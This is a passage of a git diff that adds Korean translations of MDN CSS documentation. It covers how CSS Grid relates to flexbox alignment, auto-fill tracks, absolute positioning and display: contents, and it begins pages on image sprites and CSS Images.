+<p>그리드는 레이아웃을 먼저 고려하게 됩니다. CSS 그리드 레이아웃을 사용할 때는 우선 레이아웃을 작성한 다음 그 위에 아이템을 배치하거나, 자동 배치 규칙을 통해 견고하게 짜인 그리드 위에 놓인 그리드 셀에 아이템을 배치하게 됩니다. 콘텐츠의 크기에 따라 조절되는 트랙을 만들 수도 있지만, 이렇게 하면 전체 트랙을 변경하게 됩니다.</p>
+
+<p>플랙스박스를 사용하면서 그 특유의 유연성 때문에 제약을 느낀다면, CSS 그리드 레이아웃을 고려해 보시는 것도 좋을 겁니다. 예를 들어 윗줄에 있는 다른 아이템과 일렬로 정렬되게 하려고 굳이 플랙스 아이템에 퍼센트 너비를 지정해야 할 때가 있는데, 이 경우 그리드가 더 나은 선택이 될 수 있습니다.</p>
+
+<h3 id="박스_정렬">박스 정렬</h3>
+
+<p>플랙스박스의 기능 중 많은 사람이 가장 흥미롭게 여겼던 것은 처음으로 적절한 정렬 제어 기능을 제공한다는 것입니다. 그래서 이젠 박스를 페이지의 중앙에 손쉽게 배치할 수도 있게 되었습니다. 플렉스 아이템은 플렉스 컨테이너의 높이만큼 늘어날 수도 있어서, 같은 높이의 칼럼 레이아웃을 구현할 수도 있습니다. 이것은 개발자가 아주 오랫동안 원했던 것이어서, 그동안 최소한 시각적 효과라도 흉내 내기 위해 온갖 종류의 꼼수를 고안해 내기도 했었습니다.</p>
+
+<p>플랙스박스 표준 명세서에 있는 정렬 프로퍼티는 <a href="https://drafts.csswg.org/css-align/">박스 정렬 레벨(Box Alignment Level) 3</a>의 새로운 표준에 추가되었습니다. 이 말은 그리드 레이아웃을 비롯한 다른 표준에서도 사용할 수 있다는 뜻입니다. 그래서 미래에는 다른 레이아웃 방법에도 똑같이 적용될 수 있습니다.</p>
+
+<p>이 가이드 시리즈의 후반부에서 박스 정렬에 관해 자세히 알아볼 것이며 또한, 그리드 레이아웃에서 어떻게 작동하는지도 살펴보겠습니다. 하지만 여기서는 플랙스박스와 그리드를 비교하는 간단한 예제를 살펴보겠습니다.</p>
+
+<p>플랙스박스를 사용하는 첫 번째 예제에는 컨테이너 안에 세 개의 아이템이 있습니다. 감싸고 있는 요소에 {{cssxref("min-height")}}를 지정해서, 플랙스 컨테이너의 높이를 정의해 줍니다. 플렉스 컨테이너의 {{cssxref("align-items")}} 값을 <code>flex-end</code>로 설정하여 아이템이 플랙스 컨테이너의 끝에 정렬되도록 했습니다. 또한, <code>box1</code>에 {{cssxref("align-self")}} 프로퍼티를 설정하여 기본값을 덮어씌우면서 컨테이너의 높이 만큼 늘어나게 하였고, <code>box2</code>에는 플랙스 컨테이너의 시작 지점에 정렬되도록 하였습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: flex;
+ align-items: flex-end;
+ min-height: 200px;
+}
+.box1 {
+ align-self: stretch;
+}
+.box2 {
+ align-self: flex-start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('박스_정렬', '300', '230') }}</p>
+
+<h3 id="CSS_그리드에서의_정렬">CSS 그리드에서의 정렬</h3>
+
+<p>다음 두 번째 예제에서는 그리드를 써서 앞에서와 똑같은 레이아웃을 구현했습니다. 이번에는 그리드 레이아웃에 적용할 때 쓰는 박스 정렬 프로퍼티를 사용하였습니다. 그래서 <code>flex-start</code>와 <code>flex-end</code>가 아닌 <code>start</code>와 <code>end</code>를 써서 정렬합니다. 그리드 레이아웃의 경우 해당 그리드 영역을 기준으로 내부에 있는 아이템들을 정렬합니다. 이번 경우에는 단일 그리드 셀로 되어 있지만, 그리드 영역이 여러 그리드 셀로 구성되어 있을 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3,1fr);
+ align-items: end;
+ grid-auto-rows: 200px;
+}
+.box1 {
+ align-self: stretch;
+}
+.box2 {
+ align-self: start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('CSS_그리드에서의_정렬', '200', '310') }}</p>
+
+<h3 id="fr_단위와_flex-basis"><code>fr</code> 단위와 <code>flex-basis</code></h3>
+
+<p>우리는 이미 <code>fr</code> 단위가 어떻게 그리드 컨테이너 속 사용 가능한 공간을 비율에 따라 그리드 트랙에 할당하는지 보았습니다. <code>fr</code> 단위가 {{cssxref("minmax", "minmax()")}} 함수와 결합하면 플랙스박스의 <code>flex</code> 프로퍼티와 매우 유사한 동작을 구현할 수 있으며, 동시에 2차원 레이아웃을 구성할 수도 있습니다.</p>
+
+<p>이전의 1차원과 2차원 레이아웃의 차이점을 보여주는 예제를 살펴보면, 두 레이아웃이 반응하는 방식에 차이가 있다는 점을 아실 수 있습니다. 플랙스 레이아웃의 경우, 브라우저 창을 더 넓거나 좁게 드래그하면, 플랙스 박스는 사용 가능한 공간에 따라 각 행에 나열되는 아이템의 수를 적절하게 조정합니다. 공간이 많다면 5개의 아이템 모두가 한 행에 들어갈 수 있을 것이며, 컨테이너 너비가 매우 좁다면 단지 하나의 아이템이 들어갈 만한 공간이 남을 수도 있을 겁니다.</p>
+
+<p>반면에, 그리드 버전에는 항상 세 개의 열 트랙이 있게 됩니다. 트랙 자체가 넓어지거나 줄어들 수 있지만, 그리드를 정의할 때 세 개를 지정했으면 무조건 세 개의 트랙이 있게 됩니다.</p>
+
+<h4 id="자동으로_채워지는_그리드_트랙">자동으로 채워지는 그리드 트랙</h4>
+
+<p>트랙의 목록을 생성할 때 반복 표기법과 <code>auto-fill</code> 및 <code>auto-fit</code> 프로퍼티를 사용하면 지정한 행과 열에 맞추면서도 플랙스박스와 유사한 효과를 내도록 콘텐츠를 정렬할 수도 있습니다.</p>
+
+<p>다음 예제에서는 반복 표기법을 지정할 때 정수 대신 <code>auto-fill</code> 키워드를 사용하였고 기준 크기가 200픽셀이 되도록 트랙 목록을 설정했습니다. 즉, 그리드는 컨테이너에 200픽셀 너비의 세로 열 트랙을 채울 수 있을 만큼의 개수를 생성하게 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, 200px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('자동으로_채워지는_그리드_트랙', '500', '170') }}</p>
+
+<h3 id="변동_가능한_트랙의_수">변동 가능한 트랙의 수</h3>
+
+<p>이것은 플랙스박스와 완전히 똑같지는 않습니다. 플랙스박스 예제에서는 아이템이 다음 줄로 행 바꿈 하기 전에는 기본값인 200픽셀보다 더 넓었습니다. 그리드에서는 <code>auto-fill</code>과 {{cssxref("minmax", "minmax()")}} 함수를 결합해서 비슷한 결과를 얻을 수 있습니다. 다음 예제에선 <code>minmax</code>를 써서 자동으로 채워지는 트랙을 만들었습니다. 트랙은 최소 200픽셀부터 시작해서 최대 <code>1fr</code>까지 늘어날 수 있도록 설정하였습니다. 브라우저는 우선 200픽셀 크기의 아이템을 (그리드 간격도 함께 고려해서) 컨테이너에 몇 개로 채울 수 있을지 계산을 하고 나서, 남아있는 공간을 최대치 <code>1fr</code> 기준으로 아이템들끼리 공유하면서 서로 늘어나도록 합니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+</pre>
+
+<p>{{ EmbedLiveSample('변동_가능한_트랙의_수', '500', '170') }}</p>
+
+<p>이렇게 해서, 크기와 개수가 변동적인 트랙들로 구성된 그리드를 만들 수 있게 되었으며, 동시에 아이템들을 일정한 행과 열로 정렬할 수도 있음을 확인하였습니다.</p>
+
+<h2 id="그리드와_단독으로_위치를_지정한_요소">그리드와 단독으로 위치를 지정한 요소</h2>
+
+<p>그리드는 단독으로 위치 지정된 요소와 상호 작용하면서, 그리드 또는 그리드 영역 내에 아이템을 배치할 때 유용하게 사용될 수 있습니다. 표준 명세서에는 그리드 컨테이너가 요소를 감싸는 컨테이닝 블록(containing block)으로서, 그리드 컨테이너가 단독으로 위치를 지정한 아이템의 부모 요소일 때 동작하는 방식을 정의하고 있습니다.</p>
+
+<h3 id="컨테이닝_블록으로서의_그리드_컨테이너">컨테이닝 블록으로서의 그리드 컨테이너</h3>
+
+<p>그리드 컨테이너를 컨테이닝 블록으로 만들려면, 다른 단독으로 위치를 지정한 아이템을 감싸고 있는 요소를 컨테이닝 블록을 만들 때와 마찬가지로, 컨테이너에 position 프로퍼티로 relative 값을 추가해야 합니다. 이렇게 하면, 그리드 아이템에 <code>position: absolute</code>를 지정할 경우 그리드 컨테이너가 컨테이닝 블록이 되며, 또 해당 아이템에 그리드 위칫값이 추가로 지정되었을 때는, 배치된 그리드 영역이 컨테이닝 블록으로 작용합니다.</p>
+
+<p>아래 예제에서는 네 개의 하위 아이템을 감싸는 wrapper 클래스의 블록이 있습니다. 3번 아이템은 단독으로 위치가 지정되었으며 라인을 기반으로 그리드에 배치되었습니다. 그리드 컨테이너에 <code>position: relative</code>를 지정해서 이 아이템이 위치를 잡을 때 참고하는 기준 요소가 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;
+ This block is absolutely positioned. In this example the grid container is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the area it has been placed into.
+ &lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(4,1fr);
+ grid-auto-rows: 200px;
+ grid-gap: 20px;
+ position: relative;
+}
+.box3 {
+ grid-column-start: 2;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+ position: absolute;
+ top: 40px;
+ left: 40px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('컨테이닝_블록으로서의_그리드_컨테이너', '500', '330') }}</p>
+
+<p>여기서 아이템이 그리드의 세로 열 2번 라인부터 4번 라인까지, 그리고 가로 행 1번 라인을 시작으로 그리드 영역을 차지하고 있는 것을 확인하실 수 있습니다. 하지만, 단독으로 위치를 지정한 일반 아이템의 경우와 마찬가지로 문서 흐름에서 제외되면서, 자동 배치 규칙에 따라 해당 공간에 다른 아이템들을 배치하게 됩니다. 또한, 이로 인해 아이템이 추가 행을 생성하지 않게 되면서 가로 행 3번 라인까지 확장하지 않게 되었습니다.</p>
+
+<p>만약에 <code>.box3</code>의 규칙 중에 <code>position: absolute</code>를 없애버리면, 위치를 지정하지 않았을 경우 표시될 원래의 자리로 돌아가는 것을 확인하실 수 있습니다.</p>
+
+<h3 id="부모_요소로서의_그리드_컨테이너">부모 요소로서의 그리드 컨테이너</h3>
+
+<p>만약에 단독으로 위치를 지정한 자식 요소가 그리드 컨테이너에 속해 있지만, 해당 컨테이너가 위치를 참고하는 새로운 기준 요소로 정의되지 않았다면, 앞의 예제에서처럼 일반 배치 흐름에서 배제됩니다. 위치의 기준이 되는 요소는, 다른 레이아웃 방법에 공통으로 적용되는 것과 마찬가지로, 새로운 위치 기준 요소로 정의된 요소가 맡게 됩니다. 이번 경우에 만약 위에 있는 감싸는 요소에서 <code>position: relative</code>를 삭제한다면, 위치의 기준이 되는 것은 아래의 그림에서 보여주듯이 최상위 도큐먼트 오브젝트에 해당하는 기본 뷰포트(viewport)가 맡게 됩니다.</p>
+
+<p><img alt="부모 요소로서의 그리드 컨테이너 모습을 담은 그림" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
+
+<p>여기도 마찬가지로 해당 아이템은, 다른 아이템들의 크기 조정과 자동 배치와 관련해서, 더는 그리드 레이아웃에 관여하지 않게 됩니다.</p>
+
+<h3 id="부모_요소가_그리드_영역일_때">부모 요소가 그리드 영역일 때</h3>
+
+<p>만약에 단독으로 위치를 지정한 아이템이 그리드 영역 안에 자리 잡고 있다면, 해당 영역을 위치의 기준이 되는 요소로 정의할 수 있습니다. 아래 예제에서는 전과 같은 그리드가 정의되어 있습니다만, 이번엔 그리드의 <code>.box3</code> 안에 또 하나의 아이템을 중첩해 놓았습니다.</p>
+
+<p><code>.box3</code>의 position 값으로 relative를 지정했으며 그 밑에 있는 아이템에는 원래의 위치에서 벗어난 값을 따로 지정하였습니다. 이 경우 위치의 기준이 되는 요소는 그리드 영역이 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three
+ &lt;div class="abspos"&gt;
+ This block is absolutely positioned. In this example the grid area is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the grid area.
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(4,1fr);
+ grid-auto-rows: 200px;
+ grid-gap: 20px;
+}
+.box3 {
+ grid-column-start: 2;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+ position: relative;
+}
+.abspos {
+ position: absolute;
+ top: 40px;
+ left: 40px;
+ background-color: rgba(255,255,255,.5);
+ border: 1px solid rgba(0,0,0,0.5);
+ color: #000;
+ padding: 10px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('부모_요소가_그리드_영역일_때', '500', '420') }}</p>
+
+<h2 id="그리드와_display_contents">그리드와 <code>display: contents</code></h2>
+
+<p>마지막으로 눈여겨볼 또 하나의 레이아웃 표준과 관련된 상호 작용으로 CSS 그리드 레이아웃과 <code>display: contents</code> 사이의 상호 작용이 있습니다. display 프로퍼티의<code>contents</code> 값은 <a href="https://drafts.csswg.org/css-display/#box-generation">Display 표준 명세서</a>에 새로 정의된 것으로 다음과 같이 설명되어 있습니다:</p>
+
+<blockquote>
+<p>“요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다.”</p>
+</blockquote>
+
+<p>만약에 아이템에 <code>display:</code> <code>contents</code>를 지정하면 보통 해당 요소가 만드는 박스는 사라지고, 자식 요소의 박스가 한 단계 상승한 것처럼 그 자리를 차지하게 됩니다. 이 얘기는 그리드 아이템의 자식 요소가 그리드 아이템이 될 수도 있다는 뜻입니다. 이상하게 들리시죠? 다음에 간단한 예를 들어보겠습니다. 아래 마크업에는 그리드가 있고, 이 그리드에 있는 첫 번째 아이템이 세 개의 열 트랙 모두를 가로지르도록 설정하였습니다. 또한, 이 아이템은 세 개의 중첩된 아이템들을 포함하고 있습니다. 이 아이템들은 컨테이너 바로 밑에 있는 자식 요소가 아니므로, 그리드 레이아웃의 일원으로 참여하지 않으면서 보통의 일반 블록 레이아웃으로 표시됩니다.</p>
+
+<div id="Display_Contents_Before">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.box {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box box1"&gt;
+ &lt;div class="nested"&gt;a&lt;/div&gt;
+ &lt;div class="nested"&gt;b&lt;/div&gt;
+ &lt;div class="nested"&gt;c&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="box box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}</p>
+</div>
+
+<p>이제 <code>.box1</code>에 <code>display:</code> <code>contents</code>규칙을 추가하면, 해당 아이템이 차지하고 있는 박스가 사라지면서 하위 아이템들이 그리드 아이템 자격을 얻게 되어 자동 배치 규칙에 따라 알아서 배치됩니다.</p>
+
+<div id="Display_Contents_After">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.box {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box box1"&gt;
+ &lt;div class="nested"&gt;a&lt;/div&gt;
+ &lt;div class="nested"&gt;b&lt;/div&gt;
+ &lt;div class="nested"&gt;c&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="box box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ display: contents;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}</p>
+</div>
+
+<p>이것은 중첩된 아이템을 그리드의 일부분인 것처럼 작용하게 하는 방법으로 사용될 수 있으며, 또한 서브 그리드가 구현된다면 해결될 수 있는 문제를 피해 가는 방법이 될 수도 있습니다. 물론, 플랙스박스에서도 비슷하게 <code>display:</code> <code>contents</code>를 이용해서 중첩된 아이템이 플랙스 아이템처럼 작용하도록 만들 수도 있습니다.</p>
+
+<p>이번 가이드에서 보셨듯이 CSS 그리드 레이아웃은 단지 여러분이 구현해 볼 수 있는 여러 기술 중 한 부분일 뿐입니다. 원하시는 다양한 효과를 얻기 위해서 다른 레이아웃 기술끼리 서로 혼합해서 사용하는 것을 두려워하지 마십시오.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values, and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html
new file mode 100644
index 0000000000..a2ace369cf
--- /dev/null
+++ b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html
@@ -0,0 +1,56 @@
+---
+title: CSS로 이미지 스프라이트 구현하기
+slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS
+tags:
+ - Advanced
+ - CSS
+ - CSS Image
+ - Graphics
+ - Guide
+ - Sprites
+ - Web
+ - 스프라이트
+translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>이미지 스프라이트</strong>는 여러 개의 이미지가 필요한 아주 많은 웹앱에서 사용합니다. 이미지 각각을 별도의 파일로 추가하는 대신, 이미지를 하나의 파일로 만들어서 포함하면 HTTP 요청 수가 줄기 때문에 메모리와 네트워크 사용량 측면에서 효율적입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> HTTP/2를 사용할 땐 오히려 작은 요청을 여러 번 날리는 게 네트워크 사용량에 더 좋을 수도 있습니다.</p>
+</div>
+
+<h2 id="구현">구현</h2>
+
+<p><code>toolbtn</code> 클래스가 부여된 모든 아이템에 어떤 이미지가 부여된다고 가정해 봅시다.</p>
+
+<pre class="brush:css notranslate">.toolbtn {
+ background: url(myfile.png);
+ display: inline-block;
+ height: 20px;
+ width: 20px;
+}</pre>
+
+<p>배경 이미지의 위치는 속성에 지정된 {{cssxref("url()")}} 값 다음에 x, y 2개 값으로 지정할 수도 있고, {{cssxref("background-position")}} 속성으로 지정할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">#btn1 {
+ background-position: -20px 0px;
+}
+
+#btn2 {
+ background-position: -40px 0px;
+}</pre>
+
+<p>이 CSS 는 ID 가 'btn1' 인 엘리먼트를 왼쪽으로 20 pixel 이동시키고 ID 가 'btn2' 인 엘리먼트를 왼쪽으로 40 pixel 이동시킬 것입니다 (앞서 보인 이미지 룰에 의해 두 엘리먼트에 <code>toolbtn</code> 클래스가 부여됐다고 가정합시다).</p>
+
+<p>비슷하게, 마우스 호버 상태를 만들 수도 있습니다.</p>
+
+<pre class="brush:css notranslate">#btn:hover {
+ background-position: <var>&lt;pixels shifted right&gt;</var>px <var>&lt;pixels shifted down&gt;</var>px;
+}</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/">Full working demo at CSS Tricks</a></li>
+</ul>
diff --git a/files/ko/web/css/css_images/index.html b/files/ko/web/css/css_images/index.html
new file mode 100644
index 0000000000..99c37da296
--- /dev/null
+++ b/files/ko/web/css/css_images/index.html
@@ -0,0 +1,107 @@
+---
+title: CSS Images
+slug: Web/CSS/CSS_Images
+tags:
+ - CSS
+ - CSS Images
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Images
+---
+<div>{{CSSRef}}</div>
+
